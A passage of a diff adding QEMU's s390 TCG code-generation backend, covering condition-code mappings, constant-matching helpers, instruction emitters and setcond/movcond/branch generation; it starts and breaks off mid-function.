tcg_target_call_iarg_regs[] = { + TCG_REG_R2, + TCG_REG_R3, + TCG_REG_R4, + TCG_REG_R5, + TCG_REG_R6, +}; + +static const int tcg_target_call_oarg_regs[] = { + TCG_REG_R2, +}; + +#define S390_CC_EQ 8 +#define S390_CC_LT 4 +#define S390_CC_GT 2 +#define S390_CC_OV 1 +#define S390_CC_NE (S390_CC_LT | S390_CC_GT) +#define S390_CC_LE (S390_CC_LT | S390_CC_EQ) +#define S390_CC_GE (S390_CC_GT | S390_CC_EQ) +#define S390_CC_NEVER 0 +#define S390_CC_ALWAYS 15 + +/* Condition codes that result from a COMPARE and COMPARE LOGICAL. */ +static const uint8_t tcg_cond_to_s390_cond[] = { + [TCG_COND_EQ] = S390_CC_EQ, + [TCG_COND_NE] = S390_CC_NE, + [TCG_COND_LT] = S390_CC_LT, + [TCG_COND_LE] = S390_CC_LE, + [TCG_COND_GT] = S390_CC_GT, + [TCG_COND_GE] = S390_CC_GE, + [TCG_COND_LTU] = S390_CC_LT, + [TCG_COND_LEU] = S390_CC_LE, + [TCG_COND_GTU] = S390_CC_GT, + [TCG_COND_GEU] = S390_CC_GE, +}; + +/* Condition codes that result from a LOAD AND TEST. Here, we have no + unsigned instruction variation, however since the test is vs zero we + can re-map the outcomes appropriately. */ +static const uint8_t tcg_cond_to_ltr_cond[] = { + [TCG_COND_EQ] = S390_CC_EQ, + [TCG_COND_NE] = S390_CC_NE, + [TCG_COND_LT] = S390_CC_LT, + [TCG_COND_LE] = S390_CC_LE, + [TCG_COND_GT] = S390_CC_GT, + [TCG_COND_GE] = S390_CC_GE, + [TCG_COND_LTU] = S390_CC_NEVER, + [TCG_COND_LEU] = S390_CC_EQ, + [TCG_COND_GTU] = S390_CC_NE, + [TCG_COND_GEU] = S390_CC_ALWAYS, +}; + +#ifdef CONFIG_SOFTMMU +static void * const qemu_ld_helpers[16] = { + [MO_UB] = helper_ret_ldub_mmu, + [MO_SB] = helper_ret_ldsb_mmu, + [MO_LEUW] = helper_le_lduw_mmu, + [MO_LESW] = helper_le_ldsw_mmu, + [MO_LEUL] = helper_le_ldul_mmu, + [MO_LESL] = helper_le_ldsl_mmu, + [MO_LEQ] = helper_le_ldq_mmu, + [MO_BEUW] = helper_be_lduw_mmu, + [MO_BESW] = helper_be_ldsw_mmu, + [MO_BEUL] = helper_be_ldul_mmu, + [MO_BESL] = helper_be_ldsl_mmu, + [MO_BEQ] = helper_be_ldq_mmu, +}; + +static void * const qemu_st_helpers[16] = { + [MO_UB] = helper_ret_stb_mmu, + [MO_LEUW] = helper_le_stw_mmu, + [MO_LEUL] = helper_le_stl_mmu, + [MO_LEQ] = helper_le_stq_mmu, + [MO_BEUW] = helper_be_stw_mmu, + [MO_BEUL] = helper_be_stl_mmu, + [MO_BEQ] = helper_be_stq_mmu, +}; +#endif + +static tcg_insn_unit *tb_ret_addr; + +/* A list of relevant facilities used by this translator. Some of these + are required for proper operation, and these are checked at startup. */ + +#define FACILITY_ZARCH_ACTIVE (1ULL << (63 - 2)) +#define FACILITY_LONG_DISP (1ULL << (63 - 18)) +#define FACILITY_EXT_IMM (1ULL << (63 - 21)) +#define FACILITY_GEN_INST_EXT (1ULL << (63 - 34)) +#define FACILITY_LOAD_ON_COND (1ULL << (63 - 45)) + +static uint64_t facilities; + +static void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend) +{ + intptr_t pcrel2 = (tcg_insn_unit *)value - (code_ptr - 1); + assert(addend == -2); + + switch (type) { + case R_390_PC16DBL: + assert(pcrel2 == (int16_t)pcrel2); + tcg_patch16(code_ptr, pcrel2); + break; + case R_390_PC32DBL: + assert(pcrel2 == (int32_t)pcrel2); + tcg_patch32(code_ptr, pcrel2); + break; + default: + tcg_abort(); + break; + } +} + +/* parse target specific constraints */ +static int target_parse_constraint(TCGArgConstraint *ct, const char **pct_str) +{ + const char *ct_str = *pct_str; + + switch (ct_str[0]) { + case 'r': /* all registers */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffff); + break; + case 'R': /* not R0 */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffff); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_R0); + break; + case 'L': /* qemu_ld/st constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffff); + tcg_regset_reset_reg (ct->u.regs, TCG_REG_R2); + tcg_regset_reset_reg (ct->u.regs, TCG_REG_R3); + tcg_regset_reset_reg (ct->u.regs, TCG_REG_R4); + break; + case 'a': /* force R2 for division */ + ct->ct |= TCG_CT_REG; + tcg_regset_clear(ct->u.regs); + tcg_regset_set_reg(ct->u.regs, TCG_REG_R2); + break; + case 'b': /* force R3 for division */ + ct->ct |= TCG_CT_REG; + tcg_regset_clear(ct->u.regs); + tcg_regset_set_reg(ct->u.regs, TCG_REG_R3); + break; + case 'A': + ct->ct |= TCG_CT_CONST_ADLI; + break; + case 'K': + ct->ct |= TCG_CT_CONST_MULI; + break; + case 'O': + ct->ct |= TCG_CT_CONST_ORI; + break; + case 'X': + ct->ct |= TCG_CT_CONST_XORI; + break; + case 'C': + ct->ct |= TCG_CT_CONST_CMPI; + break; + default: + return -1; + } + ct_str++; + *pct_str = ct_str; + + return 0; +} + +/* Immediates to be used with logical OR. This is an optimization only, + since a full 64-bit immediate OR can always be performed with 4 sequential + OI[LH][LH] instructions. What we're looking for is immediates that we + can load efficiently, and the immediate load plus the reg-reg OR is + smaller than the sequential OI's. */ + +static int tcg_match_ori(TCGType type, tcg_target_long val) +{ + if (facilities & FACILITY_EXT_IMM) { + if (type == TCG_TYPE_I32) { + /* All 32-bit ORs can be performed with 1 48-bit insn. */ + return 1; + } + } + + /* Look for negative values. These are best to load with LGHI. */ + if (val < 0) { + if (val == (int16_t)val) { + return 0; + } + if (facilities & FACILITY_EXT_IMM) { + if (val == (int32_t)val) { + return 0; + } + } + } + + return 1; +} + +/* Immediates to be used with logical XOR. This is almost, but not quite, + only an optimization. XOR with immediate is only supported with the + extended-immediate facility. That said, there are a few patterns for + which it is better to load the value into a register first. */ + +static int tcg_match_xori(TCGType type, tcg_target_long val) +{ + if ((facilities & FACILITY_EXT_IMM) == 0) { + return 0; + } + + if (type == TCG_TYPE_I32) { + /* All 32-bit XORs can be performed with 1 48-bit insn. */ + return 1; + } + + /* Look for negative values. These are best to load with LGHI. */ + if (val < 0 && val == (int32_t)val) { + return 0; + } + + return 1; +} + +/* Imediates to be used with comparisons. */ + +static int tcg_match_cmpi(TCGType type, tcg_target_long val) +{ + if (facilities & FACILITY_EXT_IMM) { + /* The COMPARE IMMEDIATE instruction is available. */ + if (type == TCG_TYPE_I32) { + /* We have a 32-bit immediate and can compare against anything. */ + return 1; + } else { + /* ??? We have no insight here into whether the comparison is + signed or unsigned. The COMPARE IMMEDIATE insn uses a 32-bit + signed immediate, and the COMPARE LOGICAL IMMEDIATE insn uses + a 32-bit unsigned immediate. If we were to use the (semi) + obvious "val == (int32_t)val" we would be enabling unsigned + comparisons vs very large numbers. The only solution is to + take the intersection of the ranges. */ + /* ??? Another possible solution is to simply lie and allow all + constants here and force the out-of-range values into a temp + register in tgen_cmp when we have knowledge of the actual + comparison code in use. */ + return val >= 0 && val <= 0x7fffffff; + } + } else { + /* Only the LOAD AND TEST instruction is available. */ + return val == 0; + } +} + +/* Immediates to be used with add2/sub2. */ + +static int tcg_match_add2i(TCGType type, tcg_target_long val) +{ + if (facilities & FACILITY_EXT_IMM) { + if (type == TCG_TYPE_I32) { + return 1; + } else if (val >= -0xffffffffll && val <= 0xffffffffll) { + return 1; + } + } + return 0; +} + +/* Test if a constant matches the constraint. */ +static int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct) +{ + int ct = arg_ct->ct; + + if (ct & TCG_CT_CONST) { + return 1; + } + + if (type == TCG_TYPE_I32) { + val = (int32_t)val; + } + + /* The following are mutually exclusive. */ + if (ct & TCG_CT_CONST_MULI) { + /* Immediates that may be used with multiply. If we have the + general-instruction-extensions, then we have MULTIPLY SINGLE + IMMEDIATE with a signed 32-bit, otherwise we have only + MULTIPLY HALFWORD IMMEDIATE, with a signed 16-bit. */ + if (facilities & FACILITY_GEN_INST_EXT) { + return val == (int32_t)val; + } else { + return val == (int16_t)val; + } + } else if (ct & TCG_CT_CONST_ADLI) { + return tcg_match_add2i(type, val); + } else if (ct & TCG_CT_CONST_ORI) { + return tcg_match_ori(type, val); + } else if (ct & TCG_CT_CONST_XORI) { + return tcg_match_xori(type, val); + } else if (ct & TCG_CT_CONST_CMPI) { + return tcg_match_cmpi(type, val); + } + + return 0; +} + +/* Emit instructions according to the given instruction format. */ + +static void tcg_out_insn_RR(TCGContext *s, S390Opcode op, TCGReg r1, TCGReg r2) +{ + tcg_out16(s, (op << 8) | (r1 << 4) | r2); +} + +static void tcg_out_insn_RRE(TCGContext *s, S390Opcode op, + TCGReg r1, TCGReg r2) +{ + tcg_out32(s, (op << 16) | (r1 << 4) | r2); +} + +static void tcg_out_insn_RRF(TCGContext *s, S390Opcode op, + TCGReg r1, TCGReg r2, int m3) +{ + tcg_out32(s, (op << 16) | (m3 << 12) | (r1 << 4) | r2); +} + +static void tcg_out_insn_RI(TCGContext *s, S390Opcode op, TCGReg r1, int i2) +{ + tcg_out32(s, (op << 16) | (r1 << 20) | (i2 & 0xffff)); +} + +static void tcg_out_insn_RIL(TCGContext *s, S390Opcode op, TCGReg r1, int i2) +{ + tcg_out16(s, op | (r1 << 4)); + tcg_out32(s, i2); +} + +static void tcg_out_insn_RS(TCGContext *s, S390Opcode op, TCGReg r1, + TCGReg b2, TCGReg r3, int disp) +{ + tcg_out32(s, (op << 24) | (r1 << 20) | (r3 << 16) | (b2 << 12) + | (disp & 0xfff)); +} + +static void tcg_out_insn_RSY(TCGContext *s, S390Opcode op, TCGReg r1, + TCGReg b2, TCGReg r3, int disp) +{ + tcg_out16(s, (op & 0xff00) | (r1 << 4) | r3); + tcg_out32(s, (op & 0xff) | (b2 << 28) + | ((disp & 0xfff) << 16) | ((disp & 0xff000) >> 4)); +} + +#define tcg_out_insn_RX tcg_out_insn_RS +#define tcg_out_insn_RXY tcg_out_insn_RSY + +/* Emit an opcode with "type-checking" of the format. */ +#define tcg_out_insn(S, FMT, OP, ...) \ + glue(tcg_out_insn_,FMT)(S, glue(glue(FMT,_),OP), ## __VA_ARGS__) + + +/* emit 64-bit shifts */ +static void tcg_out_sh64(TCGContext* s, S390Opcode op, TCGReg dest, + TCGReg src, TCGReg sh_reg, int sh_imm) +{ + tcg_out_insn_RSY(s, op, dest, sh_reg, src, sh_imm); +} + +/* emit 32-bit shifts */ +static void tcg_out_sh32(TCGContext* s, S390Opcode op, TCGReg dest, + TCGReg sh_reg, int sh_imm) +{ + tcg_out_insn_RS(s, op, dest, sh_reg, 0, sh_imm); +} + +static void tcg_out_mov(TCGContext *s, TCGType type, TCGReg dst, TCGReg src) +{ + if (src != dst) { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, LR, dst, src); + } else { + tcg_out_insn(s, RRE, LGR, dst, src); + } + } +} + +/* load a register with an immediate value */ +static void tcg_out_movi(TCGContext *s, TCGType type, + TCGReg ret, tcg_target_long sval) +{ + static const S390Opcode lli_insns[4] = { + RI_LLILL, RI_LLILH, RI_LLIHL, RI_LLIHH + }; + + tcg_target_ulong uval = sval; + int i; + + if (type == TCG_TYPE_I32) { + uval = (uint32_t)sval; + sval = (int32_t)sval; + } + + /* Try all 32-bit insns that can load it in one go. */ + if (sval >= -0x8000 && sval < 0x8000) { + tcg_out_insn(s, RI, LGHI, ret, sval); + return; + } + + for (i = 0; i < 4; i++) { + tcg_target_long mask = 0xffffull << i*16; + if ((uval & mask) == uval) { + tcg_out_insn_RI(s, lli_insns[i], ret, uval >> i*16); + return; + } + } + + /* Try all 48-bit insns that can load it in one go. */ + if (facilities & FACILITY_EXT_IMM) { + if (sval == (int32_t)sval) { + tcg_out_insn(s, RIL, LGFI, ret, sval); + return; + } + if (uval <= 0xffffffff) { + tcg_out_insn(s, RIL, LLILF, ret, uval); + return; + } + if ((uval & 0xffffffff) == 0) { + tcg_out_insn(s, RIL, LLIHF, ret, uval >> 31 >> 1); + return; + } + } + + /* Try for PC-relative address load. */ + if ((sval & 1) == 0) { + ptrdiff_t off = tcg_pcrel_diff(s, (void *)sval) >> 1; + if (off == (int32_t)off) { + tcg_out_insn(s, RIL, LARL, ret, off); + return; + } + } + + /* If extended immediates are not present, then we may have to issue + several instructions to load the low 32 bits. */ + if (!(facilities & FACILITY_EXT_IMM)) { + /* A 32-bit unsigned value can be loaded in 2 insns. And given + that the lli_insns loop above did not succeed, we know that + both insns are required. */ + if (uval <= 0xffffffff) { + tcg_out_insn(s, RI, LLILL, ret, uval); + tcg_out_insn(s, RI, IILH, ret, uval >> 16); + return; + } + + /* If all high bits are set, the value can be loaded in 2 or 3 insns. + We first want to make sure that all the high bits get set. With + luck the low 16-bits can be considered negative to perform that for + free, otherwise we load an explicit -1. */ + if (sval >> 31 >> 1 == -1) { + if (uval & 0x8000) { + tcg_out_insn(s, RI, LGHI, ret, uval); + } else { + tcg_out_insn(s, RI, LGHI, ret, -1); + tcg_out_insn(s, RI, IILL, ret, uval); + } + tcg_out_insn(s, RI, IILH, ret, uval >> 16); + return; + } + } + + /* If we get here, both the high and low parts have non-zero bits. */ + + /* Recurse to load the lower 32-bits. */ + tcg_out_movi(s, TCG_TYPE_I64, ret, uval & 0xffffffff); + + /* Insert data into the high 32-bits. */ + uval = uval >> 31 >> 1; + if (facilities & FACILITY_EXT_IMM) { + if (uval < 0x10000) { + tcg_out_insn(s, RI, IIHL, ret, uval); + } else if ((uval & 0xffff) == 0) { + tcg_out_insn(s, RI, IIHH, ret, uval >> 16); + } else { + tcg_out_insn(s, RIL, IIHF, ret, uval); + } + } else { + if (uval & 0xffff) { + tcg_out_insn(s, RI, IIHL, ret, uval); + } + if (uval & 0xffff0000) { + tcg_out_insn(s, RI, IIHH, ret, uval >> 16); + } + } +} + + +/* Emit a load/store type instruction. Inputs are: + DATA: The register to be loaded or stored. + BASE+OFS: The effective address. + OPC_RX: If the operation has an RX format opcode (e.g. STC), otherwise 0. + OPC_RXY: The RXY format opcode for the operation (e.g. STCY). */ + +static void tcg_out_mem(TCGContext *s, S390Opcode opc_rx, S390Opcode opc_rxy, + TCGReg data, TCGReg base, TCGReg index, + tcg_target_long ofs) +{ + if (ofs < -0x80000 || ofs >= 0x80000) { + /* Combine the low 20 bits of the offset with the actual load insn; + the high 44 bits must come from an immediate load. */ + tcg_target_long low = ((ofs & 0xfffff) ^ 0x80000) - 0x80000; + tcg_out_movi(s, TCG_TYPE_PTR, TCG_TMP0, ofs - low); + ofs = low; + + /* If we were already given an index register, add it in. */ + if (index != TCG_REG_NONE) { + tcg_out_insn(s, RRE, AGR, TCG_TMP0, index); + } + index = TCG_TMP0; + } + + if (opc_rx && ofs >= 0 && ofs < 0x1000) { + tcg_out_insn_RX(s, opc_rx, data, base, index, ofs); + } else { + tcg_out_insn_RXY(s, opc_rxy, data, base, index, ofs); + } +} + + +/* load data without address translation or endianness conversion */ +static inline void tcg_out_ld(TCGContext *s, TCGType type, TCGReg data, + TCGReg base, intptr_t ofs) +{ + if (type == TCG_TYPE_I32) { + tcg_out_mem(s, RX_L, RXY_LY, data, base, TCG_REG_NONE, ofs); + } else { + tcg_out_mem(s, 0, RXY_LG, data, base, TCG_REG_NONE, ofs); + } +} + +static inline void tcg_out_st(TCGContext *s, TCGType type, TCGReg data, + TCGReg base, intptr_t ofs) +{ + if (type == TCG_TYPE_I32) { + tcg_out_mem(s, RX_ST, RXY_STY, data, base, TCG_REG_NONE, ofs); + } else { + tcg_out_mem(s, 0, RXY_STG, data, base, TCG_REG_NONE, ofs); + } +} + +/* load data from an absolute host address */ +static void tcg_out_ld_abs(TCGContext *s, TCGType type, TCGReg dest, void *abs) +{ + intptr_t addr = (intptr_t)abs; + + if ((facilities & FACILITY_GEN_INST_EXT) && !(addr & 1)) { + ptrdiff_t disp = tcg_pcrel_diff(s, abs) >> 1; + if (disp == (int32_t)disp) { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RIL, LRL, dest, disp); + } else { + tcg_out_insn(s, RIL, LGRL, dest, disp); + } + return; + } + } + + tcg_out_movi(s, TCG_TYPE_PTR, dest, addr & ~0xffff); + tcg_out_ld(s, type, dest, dest, addr & 0xffff); +} + +static inline void tcg_out_risbg(TCGContext *s, TCGReg dest, TCGReg src, + int msb, int lsb, int ofs, int z) +{ + /* Format RIE-f */ + tcg_out16(s, (RIE_RISBG & 0xff00) | (dest << 4) | src); + tcg_out16(s, (msb << 8) | (z << 7) | lsb); + tcg_out16(s, (ofs << 8) | (RIE_RISBG & 0xff)); +} + +static void tgen_ext8s(TCGContext *s, TCGType type, TCGReg dest, TCGReg src) +{ + if (facilities & FACILITY_EXT_IMM) { + tcg_out_insn(s, RRE, LGBR, dest, src); + return; + } + + if (type == TCG_TYPE_I32) { + if (dest == src) { + tcg_out_sh32(s, RS_SLL, dest, TCG_REG_NONE, 24); + } else { + tcg_out_sh64(s, RSY_SLLG, dest, src, TCG_REG_NONE, 24); + } + tcg_out_sh32(s, RS_SRA, dest, TCG_REG_NONE, 24); + } else { + tcg_out_sh64(s, RSY_SLLG, dest, src, TCG_REG_NONE, 56); + tcg_out_sh64(s, RSY_SRAG, dest, dest, TCG_REG_NONE, 56); + } +} + +static void tgen_ext8u(TCGContext *s, TCGType type, TCGReg dest, TCGReg src) +{ + if (facilities & FACILITY_EXT_IMM) { + tcg_out_insn(s, RRE, LLGCR, dest, src); + return; + } + + if (dest == src) { + tcg_out_movi(s, type, TCG_TMP0, 0xff); + src = TCG_TMP0; + } else { + tcg_out_movi(s, type, dest, 0xff); + } + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, NR, dest, src); + } else { + tcg_out_insn(s, RRE, NGR, dest, src); + } +} + +static void tgen_ext16s(TCGContext *s, TCGType type, TCGReg dest, TCGReg src) +{ + if (facilities & FACILITY_EXT_IMM) { + tcg_out_insn(s, RRE, LGHR, dest, src); + return; + } + + if (type == TCG_TYPE_I32) { + if (dest == src) { + tcg_out_sh32(s, RS_SLL, dest, TCG_REG_NONE, 16); + } else { + tcg_out_sh64(s, RSY_SLLG, dest, src, TCG_REG_NONE, 16); + } + tcg_out_sh32(s, RS_SRA, dest, TCG_REG_NONE, 16); + } else { + tcg_out_sh64(s, RSY_SLLG, dest, src, TCG_REG_NONE, 48); + tcg_out_sh64(s, RSY_SRAG, dest, dest, TCG_REG_NONE, 48); + } +} + +static void tgen_ext16u(TCGContext *s, TCGType type, TCGReg dest, TCGReg src) +{ + if (facilities & FACILITY_EXT_IMM) { + tcg_out_insn(s, RRE, LLGHR, dest, src); + return; + } + + if (dest == src) { + tcg_out_movi(s, type, TCG_TMP0, 0xffff); + src = TCG_TMP0; + } else { + tcg_out_movi(s, type, dest, 0xffff); + } + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, NR, dest, src); + } else { + tcg_out_insn(s, RRE, NGR, dest, src); + } +} + +static inline void tgen_ext32s(TCGContext *s, TCGReg dest, TCGReg src) +{ + tcg_out_insn(s, RRE, LGFR, dest, src); +} + +static inline void tgen_ext32u(TCGContext *s, TCGReg dest, TCGReg src) +{ + tcg_out_insn(s, RRE, LLGFR, dest, src); +} + +/* Accept bit patterns like these: + 0....01....1 + 1....10....0 + 1..10..01..1 + 0..01..10..0 + Copied from gcc sources. */ +static inline bool risbg_mask(uint64_t c) +{ + uint64_t lsb; + /* We don't change the number of transitions by inverting, + so make sure we start with the LSB zero. */ + if (c & 1) { + c = ~c; + } + /* Reject all zeros or all ones. */ + if (c == 0) { + return false; + } + /* Find the first transition. */ + lsb = c & -c; + /* Invert to look for a second transition. */ + c = ~c; + /* Erase the first transition. */ + c &= -lsb; + /* Find the second transition, if any. */ + lsb = c & -c; + /* Match if all the bits are 1's, or if c is zero. */ + return c == -lsb; +} + +static void tgen_andi_risbg(TCGContext *s, TCGReg out, TCGReg in, uint64_t val) +{ + int msb, lsb; + if ((val & 0x8000000000000001ull) == 0x8000000000000001ull) { + /* Achieve wraparound by swapping msb and lsb. */ + msb = 64 - ctz64(~val); + lsb = clz64(~val) - 1; + } else { + msb = clz64(val); + lsb = 63 - ctz64(val); + } + tcg_out_risbg(s, out, in, msb, lsb, 0, 1); +} + +static void tgen_andi(TCGContext *s, TCGType type, TCGReg dest, uint64_t val) +{ + static const S390Opcode ni_insns[4] = { + RI_NILL, RI_NILH, RI_NIHL, RI_NIHH + }; + static const S390Opcode nif_insns[2] = { + RIL_NILF, RIL_NIHF + }; + uint64_t valid = (type == TCG_TYPE_I32 ? 0xffffffffull : -1ull); + int i; + + /* Look for the zero-extensions. */ + if ((val & valid) == 0xffffffff) { + tgen_ext32u(s, dest, dest); + return; + } + if (facilities & FACILITY_EXT_IMM) { + if ((val & valid) == 0xff) { + tgen_ext8u(s, TCG_TYPE_I64, dest, dest); + return; + } + if ((val & valid) == 0xffff) { + tgen_ext16u(s, TCG_TYPE_I64, dest, dest); + return; + } + } + + /* Try all 32-bit insns that can perform it in one go. */ + for (i = 0; i < 4; i++) { + tcg_target_ulong mask = ~(0xffffull << i*16); + if (((val | ~valid) & mask) == mask) { + tcg_out_insn_RI(s, ni_insns[i], dest, val >> i*16); + return; + } + } + + /* Try all 48-bit insns that can perform it in one go. */ + if (facilities & FACILITY_EXT_IMM) { + for (i = 0; i < 2; i++) { + tcg_target_ulong mask = ~(0xffffffffull << i*32); + if (((val | ~valid) & mask) == mask) { + tcg_out_insn_RIL(s, nif_insns[i], dest, val >> i*32); + return; + } + } + } + if ((facilities & FACILITY_GEN_INST_EXT) && risbg_mask(val)) { + tgen_andi_risbg(s, dest, dest, val); + return; + } + + /* Fall back to loading the constant. */ + tcg_out_movi(s, type, TCG_TMP0, val); + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, NR, dest, TCG_TMP0); + } else { + tcg_out_insn(s, RRE, NGR, dest, TCG_TMP0); + } +} + +static void tgen64_ori(TCGContext *s, TCGReg dest, tcg_target_ulong val) +{ + static const S390Opcode oi_insns[4] = { + RI_OILL, RI_OILH, RI_OIHL, RI_OIHH + }; + static const S390Opcode nif_insns[2] = { + RIL_OILF, RIL_OIHF + }; + + int i; + + /* Look for no-op. */ + if (val == 0) { + return; + } + + if (facilities & FACILITY_EXT_IMM) { + /* Try all 32-bit insns that can perform it in one go. */ + for (i = 0; i < 4; i++) { + tcg_target_ulong mask = (0xffffull << i*16); + if ((val & mask) != 0 && (val & ~mask) == 0) { + tcg_out_insn_RI(s, oi_insns[i], dest, val >> i*16); + return; + } + } + + /* Try all 48-bit insns that can perform it in one go. */ + for (i = 0; i < 2; i++) { + tcg_target_ulong mask = (0xffffffffull << i*32); + if ((val & mask) != 0 && (val & ~mask) == 0) { + tcg_out_insn_RIL(s, nif_insns[i], dest, val >> i*32); + return; + } + } + + /* Perform the OR via sequential modifications to the high and + low parts. Do this via recursion to handle 16-bit vs 32-bit + masks in each half. */ + tgen64_ori(s, dest, val & 0x00000000ffffffffull); + tgen64_ori(s, dest, val & 0xffffffff00000000ull); + } else { + /* With no extended-immediate facility, we don't need to be so + clever. Just iterate over the insns and mask in the constant. */ + for (i = 0; i < 4; i++) { + tcg_target_ulong mask = (0xffffull << i*16); + if ((val & mask) != 0) { + tcg_out_insn_RI(s, oi_insns[i], dest, val >> i*16); + } + } + } +} + +static void tgen64_xori(TCGContext *s, TCGReg dest, tcg_target_ulong val) +{ + /* Perform the xor by parts. */ + if (val & 0xffffffff) { + tcg_out_insn(s, RIL, XILF, dest, val); + } + if (val > 0xffffffff) { + tcg_out_insn(s, RIL, XIHF, dest, val >> 31 >> 1); + } +} + +static int tgen_cmp(TCGContext *s, TCGType type, TCGCond c, TCGReg r1, + TCGArg c2, int c2const) +{ + bool is_unsigned = is_unsigned_cond(c); + if (c2const) { + if (c2 == 0) { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, LTR, r1, r1); + } else { + tcg_out_insn(s, RRE, LTGR, r1, r1); + } + return tcg_cond_to_ltr_cond[c]; + } else { + if (is_unsigned) { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RIL, CLFI, r1, c2); + } else { + tcg_out_insn(s, RIL, CLGFI, r1, c2); + } + } else { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RIL, CFI, r1, c2); + } else { + tcg_out_insn(s, RIL, CGFI, r1, c2); + } + } + } + } else { + if (is_unsigned) { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, CLR, r1, c2); + } else { + tcg_out_insn(s, RRE, CLGR, r1, c2); + } + } else { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, CR, r1, c2); + } else { + tcg_out_insn(s, RRE, CGR, r1, c2); + } + } + } + return tcg_cond_to_s390_cond[c]; +} + +static void tgen_setcond(TCGContext *s, TCGType type, TCGCond cond, + TCGReg dest, TCGReg c1, TCGArg c2, int c2const) +{ + int cc; + + switch (cond) { + case TCG_COND_GTU: + case TCG_COND_GT: + do_greater: + /* The result of a compare has CC=2 for GT and CC=3 unused. + ADD LOGICAL WITH CARRY considers (CC & 2) the carry bit. */ + tgen_cmp(s, type, cond, c1, c2, c2const); + tcg_out_movi(s, type, dest, 0); + tcg_out_insn(s, RRE, ALCGR, dest, dest); + return; + + case TCG_COND_GEU: + do_geu: + /* We need "real" carry semantics, so use SUBTRACT LOGICAL + instead of COMPARE LOGICAL. This needs an extra move. */ + tcg_out_mov(s, type, TCG_TMP0, c1); + if (c2const) { + tcg_out_movi(s, TCG_TYPE_I64, dest, 0); + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RIL, SLFI, TCG_TMP0, c2); + } else { + tcg_out_insn(s, RIL, SLGFI, TCG_TMP0, c2); + } + } else { + if (type == TCG_TYPE_I32) { + tcg_out_insn(s, RR, SLR, TCG_TMP0, c2); + } else { + tcg_out_insn(s, RRE, SLGR, TCG_TMP0, c2); + } + tcg_out_movi(s, TCG_TYPE_I64, dest, 0); + } + tcg_out_insn(s, RRE, ALCGR, dest, dest); + return; + + case TCG_COND_LEU: + case TCG_COND_LTU: + case TCG_COND_LT: + /* Swap operands so that we can use GEU/GTU/GT. */ + if (c2const) { + tcg_out_movi(s, type, TCG_TMP0, c2); + c2 = c1; + c2const = 0; + c1 = TCG_TMP0; + } else { + TCGReg t = c1; + c1 = c2; + c2 = t; + } + if (cond == TCG_COND_LEU) { + goto do_geu; + } + cond = tcg_swap_cond(cond); + goto do_greater; + + case TCG_COND_NE: + /* X != 0 is X > 0. */ + if (c2const && c2 == 0) { + cond = TCG_COND_GTU; + goto do_greater; + } + break; + + case TCG_COND_EQ: + /* X == 0 is X <= 0 is 0 >= X. */ + if (c2const && c2 == 0) { + tcg_out_movi(s, TCG_TYPE_I64, TCG_TMP0, 0); + c2 = c1; + c2const = 0; + c1 = TCG_TMP0; + goto do_geu; + } + break; + + default: + break; + } + + cc = tgen_cmp(s, type, cond, c1, c2, c2const); + if (facilities & FACILITY_LOAD_ON_COND) { + /* Emit: d = 0, t = 1, d = (cc ? t : d). */ + tcg_out_movi(s, TCG_TYPE_I64, dest, 0); + tcg_out_movi(s, TCG_TYPE_I64, TCG_TMP0, 1); + tcg_out_insn(s, RRF, LOCGR, dest, TCG_TMP0, cc); + } else { + /* Emit: d = 1; if (cc) goto over; d = 0; over: */ + tcg_out_movi(s, type, dest, 1); + tcg_out_insn(s, RI, BRC, cc, (4 + 4) >> 1); + tcg_out_movi(s, type, dest, 0); + } +} + +static void tgen_movcond(TCGContext *s, TCGType type, TCGCond c, TCGReg dest, + TCGReg c1, TCGArg c2, int c2const, TCGReg r3) +{ + int cc; + if (facilities & FACILITY_LOAD_ON_COND) { + cc = tgen_cmp(s, type, c, c1, c2, c2const); + tcg_out_insn(s, RRF, LOCGR, dest, r3, cc); + } else { + c = tcg_invert_cond(c); + cc = tgen_cmp(s, type, c, c1, c2, c2const); + + /* Emit: if (cc) goto over; dest = r3; over: */ + tcg_out_insn(s, RI, BRC, cc, (4 + 4) >> 1); + tcg_out_insn(s, RRE, LGR, dest, r3); + } +} + +bool tcg_target_deposit_valid(int ofs, int len) +{ + return (facilities & FACILITY_GEN_INST_EXT) != 0; +} + +static void tgen_deposit(TCGContext *s, TCGReg dest, TCGReg src, + int ofs, int len) +{ + int lsb = (63 - ofs); + int msb = lsb - (len - 1); + tcg_out_risbg(s, dest, src, msb, lsb, ofs, 0); +} + +static void tgen_gotoi(TCGContext *s, int cc, tcg_insn_unit *dest) +{ + ptrdiff_t off = dest - s->code_ptr; + if (off == (int16_t)off) { + tcg_out_insn(s, RI, BRC, cc, off); + } else if (off == (int32_t)off) { + tcg_out_insn(s, RIL, BRCL, cc, off); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_TMP0, (uintptr_t)dest); + tcg_out_insn(s, RR, BCR, cc, TCG_TMP0); + } +} + +static void tgen_branch(TCGContext *s, int cc, int labelno) +{ + TCGLabel* l = &s->labels[labelno]; + if (l->has_value) { + tgen_gotoi(s, cc, l->u.value_ptr); + } else if (USE_LONG_BRANCHES) { + tcg_out16(s, RIL_BRCL | (cc << 4)); + tcg_out_reloc(s, s->code_ptr, R_390_PC32DBL, labelno, -2); + s->code_ptr += 2; + } else { + tcg_out16(s, RI_BRC | (cc << 4)); + tcg_out_reloc(s, s->code_ptr, R_390_PC16DBL, labelno, -2); + s->code_ptr += 1; + } +} + +static void tgen_compare_branch(TCGContext *s, S390Opcode opc, int cc, + TCGReg r1, 